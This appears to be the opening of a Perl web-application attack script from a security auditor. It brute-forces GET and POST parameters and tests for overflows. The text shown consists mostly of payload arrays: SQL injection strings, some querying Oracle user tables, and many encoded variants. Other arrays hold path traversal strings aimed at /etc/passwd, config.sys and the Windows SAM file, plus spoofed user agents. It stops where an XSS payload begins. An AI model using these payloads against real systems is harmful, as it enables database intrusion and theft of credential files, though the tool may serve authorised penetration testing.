#!/usr/bin/perl -w #Server side code numeric/text bruteforce via GET and POST and overflow test #jolmos@isecauditors.com use IO::Socket; use IO::Socket::SSL; require Term::Screen; #Ex: #./vingtsun.pl 127.0.0.1 80 /x.php?a=si id 0 1000 denied num # . . . # Don't get denied with url: http://127.0.0.1:80/x.php?a=si&id=33 # # #./vingtsun.pl 127.0.0.1 80 /x.php?id=33 a d 2 denied chr # . . . (2 digit, starting from d, bruteforcing a variable) # Don't get denied with url: http://127.0.0.1:80/x.php?id=33&a=si # # #./vingtsun.pl 127.0.0.1 80 /x.php?a=si id 30 1000 denied ovflow # . . . (from 30 to 100 characters to find the overflow precision) # NOTE:255 limitation to get, theoretically. # #TODO: buscar extension index de directorio # probar nulos # probar el $xss # que el ovflow no sea secuencial, sino de mitad en mitad # atakes via cookie # hacer version LWP # mejorar ataques injection # poner todos los parametros y que haga todas las pruebas por todos. # en cuanto funciona el overflow deberia de parar y no pushear todo en resultados # boorrar ultimo test realizado # msg final del html por si da timeout #CLF: spider saca los comentarios, localiza codigo de servidor y los parametros get y post # lanza ataques a los parámetros get y post # detectar tecnologia y buscar en google mas codigos de servidor print "\n"; &usage if (@ARGV!=9 && @ARGV!=10); $scr = new Term::Screen; $scr->clrscr(); #my $magic='\\ª!|@"\'º$·%&/()=?¿¡^*+`\'ç}{][-_.:,;<>%00''; #my $umagic='%27%5c%5c%c2%aa%21%7c%40%22%5c%27%c2%ba%24%c2%b7%25%26%2f%28%29%3d%3f%c2%bf%c2%a1%5e%2a%2b%60%5c%27%c3%a7%7d%7b%5d%5b%2d%5f%2e%3a%2c%3b%3c%3e'; #$unreserved='_ . ! ~ * \' ( )'; #$reserved='; / ? : @ & = + $ , '; #Intento de provocar un error sql, es posible que no haya stderr my @inj=('\'','"','\'\'','""','\\\'','\\"','%27','%22','%27%27','%22%22','%5c%27','%5c%22','%26#39;','%26#34;','%26#39;26#39;','%26#34;%26#34;','%26#92;%26#39;','%26#92;%26#34;','%9239','%25%32%37','%25%32%32','%25%32%37%25%32%37','%25%32%32%25%32%32','%25%35%63%25%32%37','%25%35%63%25%32%32','%%27','%%22','%%27%%27','%%22%%22','%255c%%27','%255c','%%22','%%327','%%32','%25%32%35%25%33%32%25%33%32','%25%32%35%25%33%32%25%33%32','%u0027','%u0022','or--','4294967294','%25%32%37','%25%32%37or1=1--','%25%32%37or%25%32%37%25%32%37=%25%32%37','\'or+1+in(select+1+from+dba_users)--','\'or+1+in(select+1+from+all_users)--','%25%32%37%25%36%66%25%37%32%25%32%62%25%33%31%25%32%62%25%36%39%25%36%65%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%62%25%33%31%25%32%62%25%36%36%25%37%32%25%36%66%25%36%64%25%32%62%25%36%34%25%36%32%25%36%31%25%35%66%25%37%35%25%37%33%25%36%35%25%37%32%25%37%33%25%32%39%25%32%64%25%32%64','%25%32%37%25%36%66%25%37%32%25%32%62%25%33%31%25%32%62%25%36%39%25%36%65%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%62%25%33%31%25%32%62%25%36%36%25%37%32%25%36%66%25%36%64%25%32%62%25%36%31%25%36%63%25%36%63%25%35%66%25%37%35%25%37%33%25%36%35%25%37%32%25%37%33%25%32%39%25%32%64%25%32%64'); my @trn=('\config.sys','/config.sys','../../../../../../../../../config.sys','..\..\..\..\..\..\..\..\..\..\..\config.sys','%5cconfig.sys','%2fconfig.sys','%%35cconfig.sys','%%32fconfig.sys','%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fconfig.sys','%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cconfig.sys','/etc/passwd','../../../../../../../../../etc/passwd','%2fetc%2fpasswd','%%32fetc%%32fpasswd','%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd','.','..','*','%systemroot%\repair\sam','%25%73%79%73%74%65%6d%72%6f%6f%74%25%72%65%70%61%69%72%73%61%6d','%25%32%35%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%37%32%25%36%35%25%37%30%25%36%31%25%36%39%25%37%32%25%37%33%25%36%31%25%36%64','%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64','%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34','index.html','/*','//','#','^','\\'); my @ua=('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8)',''); my $xss='">